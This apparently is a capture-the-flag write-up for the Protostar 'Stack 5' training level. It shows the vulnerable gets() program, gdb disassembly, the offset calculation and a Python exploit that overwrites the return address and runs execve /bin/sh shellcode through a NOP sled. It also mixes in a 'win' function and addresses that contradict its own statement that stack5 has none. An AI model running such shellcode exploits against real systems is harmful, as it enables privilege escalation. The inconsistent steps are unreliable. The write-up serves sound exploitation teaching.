Skip to main content

Stack 5

Stack5 is a standard buffer overflow, this time introducing shellcode. This level is at /opt/protostar/bin/stack5

Hints

  • At this point in time, it might be easier to use someone elses shellcode
  • If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
  • remove the int3s once your shellcode is done.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

In this code there is no win function. In order to complete the challenge we have to obtain root priviledge. For that, we need to use a shellcode that we can get from shell-storm.

The saved return address must be overwritten with the address of the shellcode.

		    |-------------------------|                                                       
entry esp --------> | saved eip | ====+
| (return address) | |
|-------------------------| |
new ebp ----------> | saved ebp | |
|-------------------------| |
| shellcode [63] | |
| . | |
| . | |
| . | |
| shellcode [0] | <----+
|-------------------------|
new esp ----------> | i |
|-------------------------|
| |

That was a generalized representation.

But first let's understand the binary using gdb.

(gdb) disass main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x50
0x080483cd <main+9>: lea eax,[esp+0x10]
0x080483d1 <main+13>: mov DWORD PTR [esp],eax
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret

Let's figure out where our buffer is located.

(gdb) p/s ($esp+0x10)
$1 = (void *) 0xbffff760

We can see that the buffer begins at 0xbffff760.

Set a breakpoint at main+21 and pass in the following input:

aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzz

This will lead to segmentation fault.

Program received signal SIGSEGV, Segmentation fault.
0x74747474 in ?? ()

The error message tells us that the value of stored eip was changed to 0x74747474 which is not a valid address. 0x74 is t in ASCII.

So the 77th, 78th, 79th and 80th bytes from our input overwrote the saved eip.

In order to alter control flow to the win function, we first need to know its address.

(gdb) disassemble win
Dump of assembler code for function win:
0x080483f4 <win+0>: push ebp
0x080483f5 <win+1>: mov ebp,esp
0x080483f7 <win+3>: sub esp,0x18
0x080483fa <win+6>: mov DWORD PTR [esp],0x80484e0
0x08048401 <win+13>: call 0x804832c <puts@plt>
0x08048406 <win+18>: leave
0x08048407 <win+19>: ret
End of assembler dump.

These four bytes need to be the 0xbffff760 address in little-endian format.

aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssss + \x60\xf7\xff\xbf

Exploit

$ python -c 'print "A"*76 + "\xf4\x83\x04\x08"' | ./stack5
code flow successfully changed
import struct

padding = "A"*76
nops = "\x90"*150
eip = struct.pack("I",0xbffff7e0)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
payload = padding+eip+nops+shellcode
print payload